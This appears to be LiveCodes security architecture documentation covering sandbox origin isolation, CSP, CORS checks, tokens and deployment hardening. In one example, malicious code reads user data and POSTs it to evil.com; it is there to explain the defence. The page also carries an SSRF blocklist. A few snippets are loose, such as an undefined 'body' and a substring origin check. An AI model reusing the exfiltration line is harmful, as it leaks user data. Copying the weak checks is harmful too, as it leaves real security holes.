LiveCodes takes security seriously with a multi-layered approach to protect both the application and user code execution.
Security Overview
LiveCodes implements defense-in-depth with multiple security layers:
┌─────────────────────────────────────────────────────┐
│ Security Layers │
│ │
│ 1. Origin Isolation (Sandbox) │
│ └─ Different domain/port for code execution │
│ │
│ 2. Content Security Policy (CSP) │
│ └─ Restricted script sources │
│ │
│ 3. CORS Validation │
│ └─ Whitelist allowed origins │
│ │
│ 4. Input Validation │
│ └─ Sanitize user inputs │
│ │
│ 5. Authentication & Authorization │
│ └─ GitHub OAuth via Firebase │
│ │
│ 6. Rate Limiting & DoS Protection │
│ └─ Service-level throttling │
└─────────────────────────────────────────────────────┘
Sandboxed Execution
Origin Isolation Strategy
The core security mechanism is origin isolation. User code executes in a separate iframe on a different origin:
Main Application:
https://livecodes.io
- Hosts the editor, UI, and sensitive operations
Sandbox:
https://sandbox.livecodes.io:8090
- Executes untrusted user code
- Isolated from main application data
The sandbox must be on a different origin (scheme + domain + port). Same-origin sandboxes provide no security isolation.
Why Origin Isolation?
Browsers enforce the Same-Origin Policy (SOP) which prevents:
| Attack Vector | Protection |
|---|
| Cookie theft | Sandbox can’t access main app cookies |
| LocalStorage access | Separate storage per origin |
| DOM manipulation | Can’t access parent DOM |
| Network requests | Can’t read main app responses |
| Service Workers | Isolated registration scope |
Example Attack Prevention
Without origin isolation:
// Malicious user code on same origin
fetch('/api/user/data', {
credentials: 'include' // Sends user's auth cookies!
}).then(r => r.json())
.then(data => {
// Steal user data
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
With origin isolation:
// Same code on different origin
fetch('/api/user/data', {
credentials: 'include'
}); // Fails: CORS prevents cross-origin requests
Compiler Sandbox
Language compilers also run in the isolated sandbox:
Location: src/livecodes/compiler/create-compiler.ts
const createCompilerSandbox = async (compilerUrl) => {
const iframe = document.createElement('iframe');
iframe.src = compilerUrl;
iframe.sandbox = 'allow-scripts'; // Minimal permissions
document.body.appendChild(iframe);
return iframe.contentWindow;
};
const compile = async (content, language, config) => {
const compilerSandbox = await createCompilerSandbox(
sandboxService.getCompilerUrl()
);
// Send code via postMessage (safe cross-origin communication)
compilerSandbox.postMessage({
type: 'compile',
payload: { content, language, config }
}, sandboxService.getOrigin());
// Receive compiled result
return new Promise((resolve) => {
window.addEventListener('message', (event) => {
if (event.origin === sandboxService.getOrigin() &&
event.data.type === 'compiled') {
resolve(event.data.payload.compiled);
}
});
});
};
Iframe Sandbox Attributes
Result iframe uses restrictive sandbox attributes:
<iframe
sandbox="allow-forms
allow-modals
allow-pointer-lock
allow-popups
allow-popups-to-escape-sandbox
allow-same-origin
allow-scripts"
src="https://sandbox.livecodes.io:8090"
></iframe>
Permissions granted:
allow-scripts: Execute JavaScript (required for playground)
allow-forms: Submit forms in user code
allow-modals: Show alerts/confirms
allow-same-origin: Access same-origin resources (within sandbox)
Permissions denied (by omission):
allow-top-navigation: Can’t navigate parent
allow-downloads: Can’t trigger downloads
Content Security Policy (CSP)
CSP headers restrict resource loading:
Main Application CSP:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net https://unpkg.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data: https:;
connect-src 'self' https://api.github.com https://*.livecodes.io;
frame-src https://sandbox.livecodes.io;
worker-src 'self' blob:;
Sandbox CSP:
Content-Security-Policy:
default-src 'none';
script-src 'unsafe-inline' 'unsafe-eval' https:;
style-src 'unsafe-inline' https:;
img-src data: https:;
font-src data: https:;
connect-src https:;
The sandbox allows unsafe-eval and unsafe-inline since user code needs dynamic execution. This is safe because the sandbox is isolated.
CORS Security
Allowed Origins
Location: src/livecodes/services/allowed-origin.ts
export const allowedOrigin = (origin = location.origin) =>
Boolean(
origin &&
(origin.endsWith('livecodes.io') ||
origin.endsWith('livecodes.pages.dev') ||
origin.endsWith('localpen.pages.dev') ||
origin.includes('127.0.0.1') ||
origin.includes('localhost:') ||
origin.endsWith('localhost') ||
origin.endsWith('.test')),
);
This prevents:
- Unauthorized embeds from stealing user data
- Cross-origin attacks from malicious sites
CORS Proxy Security
Location: server/src/cors.ts
export const corsProxy = (req, res) => {
const origin = req.get('Origin');
const hostname = process.env.HOST_NAME || 'localhost';
// Strict origin validation
if ((origin && !origin.includes(hostname)) ||
!['GET', 'POST'].includes(req.method)) {
res.status(403).send('Forbidden!');
return;
}
const url = req.body?.url || req.query?.url;
if (!url) {
res.status(400).send('Bad Request!');
return;
}
// Proxy request
fetch(url, { method: req.method })
.then(r => res.send(body));
};
Protection against:
- Open proxy abuse
- Server-Side Request Forgery (SSRF)
- Unauthorized access to internal networks
Authentication & Authorization
GitHub OAuth Flow
┌──────────┐ ┌────────────┐ ┌──────────┐
│ User │ │ Firebase │ │ GitHub │
│ Browser │ │ Auth │ │ API │
└──────────┘ └────────────┘ └──────────┘
│ │ │
│ 1. Login │ │
├─────────────────▶│ │
│ │ 2. OAuth popup │
│ ├─────────────────▶│
│ │ │
│ │ 3. User approves │
│ │◀─────────────────┤
│ 4. Access token │ │
│◀─────────────────┤ │
│ │ │
│ 5. API requests with token │
├───────────────────────────────────────▶│
│ │
Token Security
Location: src/livecodes/services/github.ts
export const getGithubHeaders = (user, mediaType) => ({
Accept: `application/vnd.github.v3${mediaType ? '.' + mediaType : ''}+json`,
'Content-Type': 'application/json',
Authorization: 'token ' + user.token, // Bearer token
});
Security measures:
- Tokens stored in memory only (not localStorage)
- Short-lived tokens with automatic refresh
- Scoped permissions (repo access only)
- Revocable via GitHub settings
Broadcast Token Authentication
Location: server/src/broadcast/index.ts
const hasPermission = (req) => {
const userTokens = process.env.BROADCAST_TOKENS || '';
if (!userTokens.trim()) return true; // No auth if not configured
const userToken = req.body.userToken || req.query.userToken;
if (!userToken) return false;
const validTokens = userTokens.split(',').map(t => t.trim());
return validTokens.includes(userToken);
};
app.post('/', (req, res) => {
if (!hasPermission(req)) {
res.status(401).json({ error: 'Permission denied! Invalid user token.' });
return;
}
// Process broadcast...
});
Configuration:
BROADCAST_TOKENS=secret-token-1,secret-token-2,secret-token-3
Share Service Validation
const saveProject = async (req, res) => {
const value = JSON.stringify(req.body);
if (!value) {
res.status(400).send('Bad Request!');
return;
}
// Additional validation
if (value.length > 1024 * 1024 * 5) { // 5MB limit
res.status(413).send('Payload Too Large!');
return;
}
// ID validation (14 alphanumeric characters)
const id = generateId(14); // [a-zA-Z0-9]{14}
await valkey.set(id, value);
res.status(200).send(id);
};
URL Validation
For the CORS proxy:
const url = req.body?.url || req.query?.url;
if (!url) {
res.status(400).send('Bad Request!');
return;
}
// Prevent SSRF attacks
if (url.includes('localhost') ||
url.includes('127.0.0.1') ||
url.includes('0.0.0.0') ||
url.match(/^https?:\/\/(10|172\.(1[6-9]|2[0-9]|3[01])|192\.168)\./) // Private IPs
) {
res.status(403).send('Forbidden!');
return;
}
Rate Limiting & DoS Protection
Service-Level Limits
Share service:
- Collision avoidance limits attempts
- Data size limits (implicit via Valkey memory)
Broadcast service:
- Channel cleanup (20-minute timeout)
- Data size limits:
- Result: 300KB
- Project data: 500KB
CORS proxy:
- Origin validation (only configured hosts)
- Method validation (GET/POST only)
Docker Resource Limits
services:
app:
deploy:
resources:
limits:
cpus: '2.0'
memory: 4G
reservations:
cpus: '1.0'
memory: 2G
Data Privacy
Client-Side Architecture
LiveCodes is primarily client-side, minimizing data exposure:
- Code executes locally in the browser
- No server-side code storage (except opt-in sharing)
- Projects stored in browser localStorage
- Compilation happens in isolated sandbox
Shared Project Privacy
Share feature:
- 14-character random IDs (hard to guess)
- No listing/discovery endpoint
- No authentication required to access (share links are secrets)
- Data stored in Valkey (can be encrypted at rest)
Considerations:
- Shared projects are public if the ID is known
- Don’t share projects with secrets/credentials
- Use private GitHub repos for sensitive code
Deployment Security
HTTPS-Only
Always use HTTPS in production. HTTP exposes tokens and user data.
server:
image: caddy:2.10.0-alpine
# Caddy auto-provisions Let's Encrypt certificates
Non-Root Containers
RUN addgroup -S appgroup
RUN adduser -S appuser -G appgroup
USER appuser
Benefits:
- Limits damage if container is compromised
- Prevents privilege escalation
- Follows principle of least privilege
Set via server configuration:
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Secrets Management
Environment variables (not in code):
FIREBASE_CONFIG={...}
BROADCAST_TOKENS=secret1,secret2
VALKEY_PASSWORD=strongpassword
Docker secrets (production):
secrets:
firebase_config:
external: true
services:
app:
secrets:
- firebase_config
environment:
- FIREBASE_CONFIG_FILE=/run/secrets/firebase_config
Security Monitoring
Logging Sensitive Events
// Log failed auth attempts
if (!hasPermission(req)) {
console.warn(`Unauthorized broadcast attempt from ${req.ip}`);
res.status(401).json({ error: 'Permission denied!' });
}
External Logging
LOG_URL=https://logging.example.com/api/log
Send security events to external SIEM:
- Failed authentication
- Rate limit violations
- Suspicious request patterns
Vulnerability Disclosure
LiveCodes has a responsible disclosure policy:
Report security issues:
Email: [email protected]
Do not:
- Open public GitHub issues for security bugs
- Exploit vulnerabilities on production instances
- Access other users’ data
See full policy: SECURITY.md
Security Best Practices
For self-hosted deployments
- Use separate origins for sandbox (e.g., sandbox.example.com)
- Enable HTTPS with valid certificates
- Configure broadcast tokens if using broadcast feature
- Use strong Firebase config or disable GitHub auth
- Set resource limits in Docker
- Enable Valkey authentication if exposed
- Regularly update dependencies and Docker images
- Monitor logs for suspicious activity
- Use
sandbox attribute on iframe
- Set CSP headers on parent page
- Validate messages from playground iframe
- Don’t pass sensitive data to playground config
- Use
allow attribute to restrict features:
<iframe allow="autoplay; clipboard-write"></iframe>
For users creating projects
- Never commit API keys or secrets to shared projects
- Use environment variables for sensitive config
- Be cautious importing untrusted code
- Verify external modules before importing
- Don’t share projects with private data
Security Audits
LiveCodes undergoes regular security reviews:
- Static analysis: SonarCloud, Codacy
- Dependency scanning: npm audit, Snyk
- Manual review: Community contributions reviewed
- Penetration testing: Periodic security assessments
Next Steps
Services Architecture
Understand service isolation
Self-Hosting
Secure deployment guide
Docker Setup
Container security configuration
Performance
Security vs performance tradeoffs